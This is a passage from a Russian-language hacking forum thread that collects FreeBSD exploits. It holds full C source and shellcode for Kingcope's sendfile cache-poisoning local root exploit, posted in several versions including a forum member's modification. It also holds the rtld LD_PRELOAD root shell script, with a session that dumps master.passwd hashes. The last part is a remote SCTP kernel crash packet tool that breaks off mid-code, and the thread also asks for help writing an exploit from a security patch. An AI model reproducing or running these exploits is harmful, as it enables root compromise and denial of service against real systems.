FreeBSD 7.*, 8.* root exploit Код: /* freebsd x86/x64 sendfile cache local root xpl v2 by Kingcope 2010 -- should h4x any freebsd 8.* and 7.* prior to 12Jul2010 tampers /bin/sh to contain a shellcode which does ' chmod a+s /tmp/sh chown root /tmp/sh execve /tmp/sh2 ' how to use: terminal 1: $ cp /bin/sh /tmp/sh $ cp /bin/sh /tmp/sh2 $ gcc cache.c -o cache terminal 2: $ nc -l 7030 terminal 1: for i386 arch type: $ ./cache i386 for amd64 arch type: $ ./cache amd64 now wait /bin/sh should be execed by the system as root in ~5 mins then do: $ /tmp/sh # cleanup: # cp -f /tmp/sh2 /bin/sh # enjoy the root shell! */ // this juarez is now private on #darknet -- // http://www.youtube.com/watch?v=JtgInqNNpCI // http://www.youtube.com/watch?v=IdbRWrY4QBI #include <sys/types.h> #include <sys/socket.h> #include <sys/uio.h> #include <fcntl.h> #include <netinet/in.h> #include <sys/select.h> #include <sys/stat.h> #include <strings.h> #include <stdio.h> #include <string.h> #include <err.h> main (int argc, char *argv[]) { int s, f, k2; struct sockaddr_in addr; int flags; char str32[]= "\x31\xc0\x6a\x00\x68\x70\x2f\x73\x68\x68\x2f\x2f\x74\x6d\x89\xe3" "\x50\x50\x53\xb0\x10\x50\xcd\x80\x68\xed\x0d\x00\x00\x53\xb0\x0f" "\x50\xcd\x80\x31\xc0\x6a\x00\x68\x2f\x73\x68\x32\x68\x2f\x74\x6d" "\x70\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80"; char str64[]= "\x48\x31\xc0\x99\xb0\x10\x48\xbf\xff\x2f\x74\x6d\x70\x2f\x73\x68" "\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05" "\xb0\x0f\x48\x31\xf6\x66\xbe\xed\x0d\x0f\x05\x48\x31\xc0\x99\xb0" "\x3b\x48\xbf\x2f\x74\x6d\x70\x2f\x73\x68\x32\x6a\x00\x57\x48\x89" "\xe7\x57\x52\x48\x89\xe6\x0f\x05"; char buf[10000]; char *p; struct stat sb; int n; fd_set wset; int64_t size; off_t sbytes; off_t sent = 0; int chunk; int arch = 3; if (argc != 2) { printf("define architecture i386 or amd64\n"); return; } if (strcmp(argv[1], "i386") == 0) arch=1; if (strcmp(argv[1], "amd64") == 0) arch=2; if (arch == 3) { printf("define architecture i386 or amd64\n"); return; } s = socket(AF_INET, SOCK_STREAM, 0); bzero(&addr, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(7030); addr.sin_addr.s_addr = inet_addr("127.0.0.1"); n = connect(s, (struct sockaddr *)&addr, sizeof (addr)); if (n < 0) warn ("fail to connect"); f = open("/bin/sh", O_RDONLY); if (f<0) warn("fail to open file"); n = fstat(f, &sb); if (n<0) warn("fstat failed"); size = sb.st_size; chunk = 0; flags = fcntl(f, F_GETFL); flags |= O_NONBLOCK; fcntl(f, F_SETFL, flags); while (size > 0) { FD_ZERO(&wset); FD_SET(s, &wset); n = select(f+1, NULL, &wset, NULL, NULL); if (n < 0) continue; if (chunk > 0) { sbytes = 0; if (arch == 1) n = sendfile(f, s, 2048*2, chunk, NULL, &sbytes,0); if (arch == 2) n = sendfile(f, s, 1204*6, chunk, NULL, &sbytes,0); if (n < 0) continue; chunk -= sbytes; size -= sbytes; sent += sbytes; continue; } chunk = 2048; memset(buf, '\0', sizeof buf); if (arch == 1) { for (k2=0;k2<256;k2++) { buf[k2] = 0x90; } p = buf; p = p + k2; memcpy(p, str32, sizeof str32); n = k2 + sizeof str32; p = buf; } if (arch == 2) { for (k2=0;k2<100;k2++) { buf[k2] = 0x90; } p = buf; p = p + k2; memcpy(p, str64, sizeof str64); n = k2 + sizeof str64; p = buf; } write(s, p, n); } } //А зачем хайд? http://www.exploit-db.com/exploits/14688/
FreeBSD local r00t 0day (Nov 2009) Еще один эксплоит. Не приватный, обнаружена уязвимость в ноябре прошлого года. Уязвимости подвержены версии: Код: FreeBSD 8.1-RELEASE *** VULNERABLE FreeBSD 8.0-RELEASE *** VULNERABLE FreeBSD 7.1-RELEASE *** VULNERABLE FreeBSD local r00t 0day [+] Подробная информация** FreeBSD local r00t 0day Discovered & Exploited by Nikolaos Rangos also known as Kingcope. Nov 2009 "BiG TiME" "Go fetch your FreeBSD r00tkitz" // http://www.youtube.com/watch?v=dDnhthI27Fg There is an unbelievable simple local r00t bug in recent FreeBSD versions. I audited FreeBSD for local r00t bugs a long time *sigh*. Now it pays out. The bug resides in the Run-Time Link-Editor (rtld). Normally rtld does not allow dangerous environment variables like LD_PRELOAD to be set when executing setugid binaries like "ping" or "su". With a rather simple technique rtld can be tricked into accepting LD variables even on setugid binaries. See the attached exploit for details. Example exploiting session ********************************** %uname -a;id; FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:48:17 UTC 2009 root () almeida cse buffalo edu:/usr/obj/usr/src/sys/GENERIC i386 uid=1001(kcope) gid=1001(users) groups=1001(users) %./w00t.sh FreeBSD local r00t zeroday by Kingcope November 2009 env.c: In function 'main': env.c:5: warning: incompatible implicit declaration of built-in function 'malloc' env.c:9: warning: incompatible implicit declaration of built-in function 'strcpy' env.c:11: warning: incompatible implicit declaration of built-in function 'execl' /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for ALEX-ALEX # uname -a;id; FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:48:17 UTC 2009 root () almeida cse buffalo edu:/usr/obj/usr/src/sys/GENERIC i386 uid=1001(kcope) gid=1001(users) euid=0(root) groups=1001(users) # cat /etc/master.passwd # $FreeBSD: src/etc/master.passwd,v 1.40.22.1.2.1 2009/10/25 01:10:29 kensmith Exp $ # root:$1$AUbbHoOs$CCCsw7hsMB14KBkeS1xlz2:0:0::0:0:Charlie &:/root:/bin/csh toor:*:0:0::0:0:Bourne-again Superuser:/root: daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5::0:0:System &:/:/usr/sbin/nologin bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25::0:0:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin proxy:*:62:62::0:0acket Filter pseudo-user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64::0:0flogd privsep user:/var/empty:/usr/sbin/nologin _dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin uucp:*:66:66::0:0:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6::0:0ost Office Owner:/nonexistent:/usr/sbin/nologin www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin kcope:$1$u2wMkYLY$CCCuKax6dvYJrl2ZCYXA2:1001:1001::0:0:User &:/home/kcope:/bin/sh # Systems tested/affected ********************************** FreeBSD 8.0-RELEASE *** VULNERABLE FreeBSD 7.1-RELEASE *** VULNERABLE FreeBSD 6.3-RELEASE *** NOT VULN FreeBSD 4.9-RELEASE *** NOT VULN [свернуть] [+] Код эксплойта#!/bin/sh echo ** FreeBSD local r00t zeroday echo by Kingcope echo November 2009 cat > env.c << _EOF #include <stdio.h> main() { extern char **environ; environ = (char**)malloc(8096); environ[0] = (char*)malloc(1024); environ[1] = (char*)malloc(1024); strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0"); execl("/sbin/ping", "ping", 0); } _EOF gcc env.c -o env cat > program.c << _EOF #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { extern char **environ; environ=NULL; system("echo ALEX-ALEX;/bin/sh"); } _EOF gcc -o program.o -c program.c -fPIC gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles cp w00t.so.1.0 /tmp/w00t.so.1.0 ./env[свернуть] Как исправить можно прочитать тут: _http://mega-admin.com/showthread.php?t=112168 Топик автора уязвимости+исправленные варианты эксплоита на случай патчей: _http://seclists.org/fulldisclosure/2009/Nov/371
FreeBSD 8.*, 7.* Local Root Exploit freebsd mbufs() sendfile cache poisoning-priv escalation x86/x64 local root xpl v2 by Kingcope. 2010 [+] Код эксплойта/* freebsd mbufs() sendfile cache poisoning-priv escalation x86/x64 local root xpl v2 by Kingcope 2010 -- tested on: 8.1-RC1, 8.0-RELEASE, 7.3-RELEASE and 7.2-RELEASE-p8 (xd personally did 7.2 test) poisons /bin/sh to contain shellcode which does this... ' chmod a+s /tmp/sh chown root /tmp/sh execve /tmp/sh2 ' how to use ths is VERY important it is NOT your standard type, DONT start a listener as normal...let this do its shit.. and then again, there is a MUCH simpler way you could redo this exploit but, thats for you to find -xd box 1 (TARGET): $ cp /bin/sh /tmp/sh $ cp /bin/sh /tmp/sh2 $ gcc cache.c -o cache box 2 (LISTENER): $ nc -l 7030 on box 1 do: for i386 type: $ ./cache 1 for amd64 type: $ ./cache 2 ok now lets hope this worked and injected the shellcode,should, /bin/sh should be execed by the system as root in ~5 mins if lucky NOW DO: $ /tmp/sh AND cleanup: # cp -f /tmp/sh2 /bin/sh enjoy the root shell! */ // this juarez is now private on #darknet // http://www.youtube.com/watch?v=JtgInqNNpCI // http://www.youtube.com/watch?v=IdbRWrY4QBI #include <sys/types.h> #include <sys/socket.h> #include <sys/uio.h> #include <fcntl.h> #include <netinet/in.h> #include <sys/select.h> #include <sys/stat.h> #include <strings.h> #include <stdio.h> #include <string.h> #include <err.h> main (int argc, char *argv[]) { int s, f, k2; struct sockaddr_in addr; int flags; char str32[]= "\x31\xc0\x6a\x00\x68\x70\x2f\x73\x68\x68\x2f\x2f\x74\x6d\x89\xe3" "\x50\x50\x53\xb0\x10\x50\xcd\x80\x68\xed\x0d\x00\x00\x53\xb0\x0f" "\x50\xcd\x80\x31\xc0\x6a\x00\x68\x2f\x73\x68\x32\x68\x2f\x74\x6d" "\x70\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80"; char str64[]= "\x48\x31\xc0\x99\xb0\x10\x48\xbf\xff\x2f\x74\x6d\x70\x2f\x73\x68" "\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05" "\xb0\x0f\x48\x31\xf6\x66\xbe\xed\x0d\x0f\x05\x48\x31\xc0\x99\xb0" "\x3b\x48\xbf\x2f\x74\x6d\x70\x2f\x73\x68\x32\x6a\x00\x57\x48\x89" "\xe7\x57\x52\x48\x89\xe6\x0f\x05"; char buf[10000]; char *p; struct stat sb; int n; fd_set wset; int64_t size; off_t sbytes; off_t sent = 0; int chunk; int arch = 3; if (argc != 2) { printf("[+] Define architecture i386 or amd64 (1/2)\n"); return; } if (strcmp(argv[1], "1") == 0) arch=1; if (strcmp(argv[1], "2") == 0) arch=2; if (arch == 3) { printf("[+] Define architecture i386 or amd64 (1/2)\n"); return; } s = socket(AF_INET, SOCK_STREAM, 0); bzero(&addr, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(7030); addr.sin_addr.s_addr = inet_addr("127.0.0.1"); n = connect(s, (struct sockaddr *)&addr, sizeof (addr)); if (n < 0) warn ("[-] Failed to connect"); f = open("/bin/sh", O_RDONLY); if (f<0) warn("[-] Failed to open file"); n = fstat(f, &sb); if (n<0) warn("[-] fstat failed"); size = sb.st_size; chunk = 0; flags = fcntl(f, F_GETFL); flags |= O_NONBLOCK; fcntl(f, F_SETFL, flags); while (size > 0) { FD_ZERO(&wset); FD_SET(s, &wset); n = select(f+1, NULL, &wset, NULL, NULL); if (n < 0) continue; if (chunk > 0) { sbytes = 0; if (arch == 1) n = sendfile(f, s, 2048*2, chunk, NULL, &sbytes,0); if (arch == 2) n = sendfile(f, s, 1204*6, chunk, NULL, &sbytes,0); if (n < 0) continue; chunk -= sbytes; size -= sbytes; sent += sbytes; continue; } chunk = 2048; memset(buf, '\0', sizeof buf); if (arch == 1) { for (k2=0;k2<256;k2++) { buf[k2] = 0x90; } p = buf; p = p + k2; memcpy(p, str32, sizeof str32); n = k2 + sizeof str32; p = buf; } if (arch == 2) { for (k2=0;k2<100;k2++) { buf[k2] = 0x90; } p = buf; p = p + k2; memcpy(p, str64, sizeof str64); n = k2 + sizeof str64; p = buf; } write(s, p, n); } } [свернуть]
В дополнение к первому посту: (с)kfor [+] Код эксплойта#include <err.h> int sc32( char *, unsigned char * ); int sc64( char *, unsigned char * ); unsigned char str32[ 196 ]; main( int argc, char *argv[ ] ) { int s, f, k2, sizeof_str, flags, n, chunk, arch; struct sockaddr_in addr; char buf[ 10000 ], str[ 256 ], *p; struct stat sb; fd_set wset; int64_t size; off_t sbytes, sent = 0; if( argc != 3 ) { printf( "\n\n Modificated exploit FreeBSD mbufs().\n\n Special for Antichat community, by \033[5;30;41mkfor\033[0m & \033[32;1;4mlord Kelvin\033[0m.\n\n\n####### This modification can use any directory provided. ########\n####### Just in case you don't have an rwx /tmp ########\n\nExample & howto:\n(1) You must cp /bin/sh /home/test/sh and cp /bin/sh /home/test/si\n (sh++ -> si) don't change \"si\"!!\n(2) 1st terminal bash# nc -l 7030\n(3) 2nd terminal bash# ./exploit /home/test/sh\n(4) Waiting 5-10 min. Do ls -al /home/test/sh, if you see -r-sr-sr-x,\n you're lucky\n(5) bash# /home/test/sh; id; -- You must see euid(0)\nUsage: ./exploit (i386|amd64) Directory1\n" ); return; } if( strcmp( argv[ 1 ], "i386" ) == 0 ) { sizeof_str = sc32( argv[ 2 ], str ); arch = 1; } else if( strcmp( argv[ 1 ], "amd64" ) == 0 ) { sizeof_str = sc64( argv[ 2 ], str ); arch = 2; } else { printf( "define architecture i386 or amd64\n" ); return; } s = socket( AF_INET, SOCK_STREAM, 0 ); bzero( &addr, sizeof( addr ) ); addr.sin_family = AF_INET; addr.sin_port = htons( 7030 ); addr.sin_addr.s_addr = inet_addr( "127.0.0.1" ); n = connect( s, ( struct sockaddr * )&addr, sizeof( addr ) ); if( n < 0 ) warn( "fail to connect" ); f = open( "/bin/sh", O_RDONLY ); if( f < 0 ) warn( "fail to open file" ); n = fstat( f, &sb ); if( n < 0 ) warn( "fstat failed" ); size = sb.st_size; chunk = 0; flags = fcntl( f, F_GETFL ); flags |= O_NONBLOCK; fcntl( f, F_SETFL, flags ); while( size > 0 ) { FD_ZERO( &wset ); FD_SET( s, &wset ); n = select( f + 1, NULL, &wset, NULL, NULL ); if( n < 0 ) continue; if( chunk > 0 ) { sbytes = 0; if( arch == 1 ) n = sendfile( f, s, 2048 * 2, chunk, NULL, &sbytes, 0 ); else if( arch == 2 ) n = sendfile( f, s, 1204 * 6, chunk, NULL, &sbytes, 0 ); // n = sendfile( f, s, 3128 * arch + 968, chunk, NULL, &sbytes, 0 ); if( n < 0 ) continue; chunk -= sbytes; size -= sbytes; sent += sbytes; continue; } chunk = 2048; memset( buf, '\0', sizeof( buf ) ); if( arch == 1 ) { for( k2 = 0; k2 < 256; k2++ ) buf[ k2 ] = 0x90; } else if( arch == 2 ) { for( k2 = 0; k2 < 100; k2++ ) buf[ k2 ] = 0x90; } // memset( buf, 0x90, 412 - 156 * arch ); memcpy( buf + k2, str, sizeof_str ); n = k2 + sizeof_str; p = buf; write( s, p, n ); } } int sc32( char *s, unsigned char *c ) { int n = strlen( s ), i; char *p = c; switch( n & 3 ) { case 0: case 1: *p++ = 0x6A; *p++ = s[ n & ~3 ]; break; default: *p++ = 0x68; *p++ = s[ n & ~3 ]; *p++ = s[ n & ~3 | 1 ]; *p++ = s[ n & ~3 | 2 ]; *p++ = 0; } for( i = n & ~3; i; i -= 4 ) { *p++ = 0x68; *p++ = s[ i - 4 ]; *p++ = s[ i - 3 ]; *p++ = s[ i - 2 ]; *p++ = s[ i - 1 ]; } p = memcpy( p, "\x89\xE3\x31\xC0\x50\x50\x53\x50\xB0\x10\xCD\x80\x68\xED\x0D\x00\x00\x53\x50\xB0\x0F\xCD\x80\xFE\x43", 25 ) + 25; *p++ = n - 1; p = memcpy( p, "\x50\x54\x53\x50\xB0\x3B\xCD\x80", 8 ) + 8; return ( int )p - ( int )c; } int sc64( char *s, unsigned char *c ) { int n = strlen( s ), i, j; char *p = c; switch( n & 7 ) { case 0: case 1: *p++ = 0x6A; *p++ = s[ n & ~7 ]; break; case 2: case 3: case 4: *p++ = 0x68; *p++ = s[ n & ~7 ]; *p++ = s[ n & ~7 | 1 ]; *p++ = s[ n & ~7 | 2 ]; *p++ = n & 4 ? s[ n & ~7 | 3 ] : 0; break; default: *p++ = 0x48; *p++ = 0xBF; for( i = 0; i < 8; i++ ) *p++ = i < ( n & 7 ) ? s[ n & ~7 | i ] : 0; *p++ = 0x57; } for( i = n & ~7; i; i -= 8 ) { *p++ = 0x48; *p++ = 0xBF; for( j = -8; j; j++ ) *p++ = s[ i + j ]; *p++ = 0x57; } p = memcpy( p, "\x6a\x10\x58\x99\x48\x89\xE7\x48\x31\xF6\x0F\x05\xB0\x0F\x68\xED\x0D\x00\x00\x5E\x0F\x05\xFE\x47", 24 ) + 24; *p++ = n - 1; p = memcpy( p, "\xB0\x38\x52\x48\x89\xE6\x0F\x05", 8 ) + 8; return ( int )p - ( int )c; }[свернуть] http://dump.ru/file/4808533 - Скомпиленный cachemy.c Видео демонстрация - http://www.youtube.com/watch?v=uavlQV2FTjU
http://security.freebsd.org/advisories/FreeBSD-SA-11:05.unix.asc http://www.opennet.ru/opennews/art.shtml?num=31887 Кто эксплоит по патчу (http://security.FreeBSD.org/patches/SA-11:05/unix.patch) написать может?
FreeBSD Kernel SCTP Remote NULL Ptr Dereference DoS Код: /* * FreeBSD kernel SCTP (latest release) remote NULL ptr dereference DoS * * by Shaun Colley <scolley@ioactive.com>, 2 Aug 2012 * * The SCTP implementation used by FreeBSD ("reference implementation") is vulnerable to a remote * NULL pointer dereference in kernel due to a logic bug. When parsing ASCONF chunks, an attempt is * made to find an association by address. if the address found is INADDR_ANY, sctp_findassoc_by_vtag() * is called and an attempt is made to find an association by vtag. Before searching for the vtag in a * hash table, a pointer is set to NULL, with the intention of redefining it after finding the association. * However, if the specified vtag is not found, the function returns and the ptr is never reinitialised, * causing a kernel panic when the NULL pointer is later dereferenced by the SCTP_INP_DECR_REF macro when * flow returns to sctp_process_control(). * * i.e. * * static struct sctp_tcb * * sctp_findassoc_by_vtag(struct sockaddr *from, uint32_t vtag, * struct sctp_inpcb **inp_p, struct sctp_nets **netp, uint16_t rport, * uint16_t lport, int skip_src_check) * * { * * [ ... ] * * *netp = NULL; * *inp_p = NULL; * * [ ... ] * * head = &sctppcbinfo.sctp_asochash[SCTP_PCBHASH_ASOC(vtag, * 1690 sctppcbinfo.hashasocmark)]; * if (head == NULL) { * // invalid vtag * SCTP_INP_INFO_RUNLOCK(); * return (NULL); * } * * The page fault is a write AV at 0x0 + 0x33c but since there is no associated user context, this * doesn't appear to be exploitable (i.e. by mapping the NULL page) * * Tested against FreebSD 8.2-RELEASE but latest release is also vulnerable. The target system must have an open * SCTP port * */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> #include <sys/socket.h> #include <fcntl.h> #include <netinet/ip.h> #include <netdb.h> #include <string.h> /* sctp checksum implementation, basically ripped from wireshark */ #define SP_LEN 2 #define DP_LEN 2 #define VTAG_LEN 4 #define CHK_LEN 4 #define HEADER_LEN (SP_LEN + DP_LEN + VTAG_LEN + CHK_LEN) #define CRC32C(c, d) (c = (c >> 8) ^ crc_c[(c ^(d)) & 0xFF]) /* SCTP chunk types */ #define SCTP_AUTH 0x0f #define SCTP_ASCONF 0xc1 static int crc_c[256] = { 0x00000000L, 0xF26B8303L, 0xE13B70F7L, 0x1350F3F4L, 0xC79A971FL, 0x35F1141CL, 0x26A1E7E8L, 0xD4CA64EBL, 0x8AD958CFL, 0x78B2DBCCL, 0x6BE22838L, 0x9989AB3BL, 0x4D43CFD0L, 0xBF284CD3L, 0xAC78BF27L, 0x5E133C24L, 0x105EC76FL, 0xE235446CL, 0xF165B798L, 0x030E349BL, 0xD7C45070L, 0x25AFD373L, 0x36FF2087L, 0xC494A384L, 0x9A879FA0L, 0x68EC1CA3L, 0x7BBCEF57L, 0x89D76C54L, 0x5D1D08BFL, 0xAF768BBCL, 0xBC267848L, 0x4E4DFB4BL, 0x20BD8EDEL, 0xD2D60DDDL, 0xC186FE29L, 0x33ED7D2AL, 0xE72719C1L, 0x154C9AC2L, 0x061C6936L, 0xF477EA35L, 0xAA64D611L, 0x580F5512L, 0x4B5FA6E6L, 0xB93425E5L, 0x6DFE410EL, 0x9F95C20DL, 0x8CC531F9L, 0x7EAEB2FAL, 0x30E349B1L, 0xC288CAB2L, 0xD1D83946L, 0x23B3BA45L, 0xF779DEAEL, 0x05125DADL, 0x1642AE59L, 0xE4292D5AL, 0xBA3A117EL, 0x4851927DL, 0x5B016189L, 0xA96AE28AL, 0x7DA08661L, 0x8FCB0562L, 0x9C9BF696L, 0x6EF07595L, 0x417B1DBCL, 0xB3109EBFL, 0xA0406D4BL, 0x522BEE48L, 0x86E18AA3L, 0x748A09A0L, 0x67DAFA54L, 0x95B17957L, 0xCBA24573L, 0x39C9C670L, 0x2A993584L, 0xD8F2B687L, 0x0C38D26CL, 0xFE53516FL, 0xED03A29BL, 0x1F682198L, 0x5125DAD3L, 0xA34E59D0L, 0xB01EAA24L, 0x42752927L, 0x96BF4DCCL, 0x64D4CECFL, 0x77843D3BL, 0x85EFBE38L, 0xDBFC821CL, 0x2997011FL, 0x3AC7F2EBL, 0xC8AC71E8L, 0x1C661503L, 0xEE0D9600L, 0xFD5D65F4L, 0x0F36E6F7L, 0x61C69362L, 0x93AD1061L, 0x80FDE395L, 0x72966096L, 0xA65C047DL, 0x5437877EL, 0x4767748AL, 0xB50CF789L, 0xEB1FCBADL, 0x197448AEL, 0x0A24BB5AL, 0xF84F3859L, 0x2C855CB2L, 0xDEEEDFB1L, 0xCDBE2C45L, 0x3FD5AF46L, 0x7198540DL, 0x83F3D70EL, 0x90A324FAL, 0x62C8A7F9L, 0xB602C312L, 0x44694011L, 0x5739B3E5L, 0xA55230E6L, 0xFB410CC2L, 0x092A8FC1L, 0x1A7A7C35L, 0xE811FF36L, 0x3CDB9BDDL, 0xCEB018DEL, 0xDDE0EB2AL, 0x2F8B6829L, 0x82F63B78L, 0x709DB87BL, 0x63CD4B8FL, 0x91A6C88CL, 0x456CAC67L, 0xB7072F64L, 0xA457DC90L, 0x563C5F93L, 0x082F63B7L, 0xFA44E0B4L, 0xE9141340L, 0x1B7F9043L, 0xCFB5F4A8L, 0x3DDE77ABL, 0x2E8E845FL, 0xDCE5075CL, 0x92A8FC17L, 0x60C37F14L, 0x73938CE0L, 0x81F80FE3L, 0x55326B08L, 0xA759E80BL, 0xB4091BFFL, 0x466298FCL, 0x1871A4D8L, 0xEA1A27DBL, 0xF94AD42FL, 0x0B21572CL, 0xDFEB33C7L, 0x2D80B0C4L, 0x3ED04330L, 0xCCBBC033L, 0xA24BB5A6L, 0x502036A5L, 0x4370C551L, 0xB11B4652L, 0x65D122B9L, 0x97BAA1BAL, 0x84EA524EL, 0x7681D14DL, 0x2892ED69L, 0xDAF96E6AL, 0xC9A99D9EL, 0x3BC21E9DL, 0xEF087A76L, 0x1D63F975L, 0x0E330A81L, 0xFC588982L, 0xB21572C9L, 0x407EF1CAL, 0x532E023EL, 0xA145813DL, 0x758FE5D6L, 0x87E466D5L, 0x94B49521L, 0x66DF1622L, 0x38CC2A06L, 0xCAA7A905L, 0xD9F75AF1L, 0x2B9CD9F2L, 0xFF56BD19L, 0x0D3D3E1AL, 0x1E6DCDEEL, 0xEC064EEDL, 0xC38D26C4L, 0x31E6A5C7L, 0x22B65633L, 0xD0DDD530L, 0x0417B1DBL, 0xF67C32D8L, 0xE52CC12CL, 0x1747422FL, 0x49547E0BL, 0xBB3FFD08L, 0xA86F0EFCL, 0x5A048DFFL, 0x8ECEE914L, 0x7CA56A17L, 0x6FF599E3L, 0x9D9E1AE0L, 0xD3D3E1ABL, 0x21B862A8L, 0x32E8915CL, 0xC083125FL, 0x144976B4L, 0xE622F5B7L, 0xF5720643L, 0x07198540L, 0x590AB964L, 0xAB613A67L, 0xB831C993L, 0x4A5A4A90L, 0x9E902E7BL, 0x6CFBAD78L, 0x7FAB5E8CL, 0x8DC0DD8FL, 0xE330A81AL, 0x115B2B19L, 0x020BD8EDL, 0xF0605BEEL, 0x24AA3F05L, 0xD6C1BC06L, 0xC5914FF2L, 0x37FACCF1L, 0x69E9F0D5L, 0x9B8273D6L, 0x88D28022L, 0x7AB90321L, 0xAE7367CAL, 0x5C18E4C9L, 0x4F48173DL, 0xBD23943EL, 0xF36E6F75L, 0x0105EC76L, 0x12551F82L, 0xE03E9C81L, 0x34F4F86AL, 0xC69F7B69L, 0xD5CF889DL, 0x27A40B9EL, 0x79B737BAL, 0x8BDCB4B9L, 0x988C474DL, 0x6AE7C44EL, 0xBE2DA0A5L, 0x4C4623A6L, 0x5F16D052L, 0xAD7D5351L, }; static unsigned int sctp_crc32c(const unsigned char *buf, unsigned int len) { unsigned int i; unsigned int crc32 = ~0U; unsigned int r; unsigned char b0, b1, b2, b3; for(i = 0; i < SP_LEN + DP_LEN + VTAG_LEN; i++) CRC32C(crc32, buf); CRC32C(crc32, 0); CRC32C(crc32, 0); CRC32C(crc32, 0); CRC32C(crc32, 0); for (i = HEADER_LEN; i < len; i++) CRC32C(crc32, buf); r = ~crc32; b0 = r & 0xff; b1 = (r >> 8) & 0xff; b2 = (r >> 16) & 0xff; b3 = (r >> 24) & 0xff; crc32 = ((b0 << 24) | (b1 << 16) | (b2 << 8) | b3); return crc32; } /* basic sctp header */ struct sctphdr { unsigned short sport; unsigned short dport; unsigned int vtag; unsigned csum; }; /* sctp chunk header */ struct sctp_chunkhdr { unsigned char type; unsigned char flags; unsigned short length; }; /* ASCONF chunk */ struct sctp_asconf_chunk { struct sctp_chunkhdr ch; unsigned int serial; }; /* AUTH chunk */ struct sctp_auth_chunk { struct sctp_chunkhdr ch; unsigned short shared_key_id; unsigned short hmac_id; unsigned char hmac[0]; }; /* SCTP parameter header */ struct sctp_paramhdr { unsigned short type; unsigned short length; }; /* ipv4 address parameter */ struct sctp_ipv4addr_param { struct sctp_paramhdr ph; unsigned int addr; }; /* standard crc32 IP checksum */ unsigned short checksum(unsigned short *addr, int len) { int nleft = len; unsigned int sum = 0; unsigned short *w = addr; unsigned short answer = 0; while(nleft > 1) { sum += *w++; nleft -= 2; } if(nleft == 1) { *(unsigned char *)(&answer) = *(unsigned char *)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return answer; } int main(int argc, char *argv[]) { int sock = 0, ret = 0; int on = 1; /* for setsockopt() call */ struct ip *iph = NULL; struct sctphdr *sctph = NULL; struct sctp_auth_chunk *auth_chunk = NULL; struct sctp_asconf_chunk *asconf_chunk = NULL; struct sctp_ipv4addr_param *ipv4_addr = NULL; char *crash = NULL; struct sockaddr_in sin; struct hostent *hp = NULL; printf("\n[*] freebsd sctp remote NULL ptr dereference\n\n"); if(argc < 3) { printf("usage: %s <host> <port>\n\n", argv[0]); return -1; } sock = socket(AF_INET, SOCK_RAW, IPPROTO_SCTP); if(sock < 0) { printf("[*] error making socket!\n"); return -1; } /* tell the kernel not to put any IP headers in */ if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { printf("[*] setsockopt() error\n"); return -1; } hp = gethostbyname(argv[1]); if(!hp) { printf("[*] couldn't resolve %s\n\n", argv[1]); return -1; } memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(atoi(argv[2])); memcpy((char *)&sin.sin_addr, hp->h_addr, hp->h_length); crash = malloc(20000); if(!crash) { printf("\n[*] couldn't allocate memory\n"); return -1; } printf("[*] building crash packet..\n"); memset(crash, 0x00, 20000); /* fill in IP header */ iph = (struct ip *)crash; iph->ip_hl = 5; iph->ip_v = 4; iph->ip_tos = 0; iph->ip_len = 0; /* fill in later when we know... */ iph->ip_id = htons(1337); iph->ip_off = 0; iph->ip_ttl = 250; iph->ip_p = 132; /* sctp */ iph->ip_sum = 0; iph->ip_src.s_addr = inet_addr("1.3.3.7"); iph->ip_dst.s_addr = sin.sin_addr.s_addr; /* fill in SCTP header */ sctph = (void *)crash + sizeof(struct ip); sctph->sport = htons(0x1234); sctph->dport = htons(atoi(argv[2])); sctph->vtag = htonl(0x12345); /* deliberately wrong */ sctph->csum = 0; /* build AUTH chunk */ auth_chunk = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr); auth_chunk->ch.type = SCTP_AUTH; auth_chunk->ch.length = htons(8 + sizeof(struct sctp_auth_chunk)); auth_chunk->hmac_id = htons(0x1337); memset((void *)auth_chunk->hmac, 0x61, 8); /* build 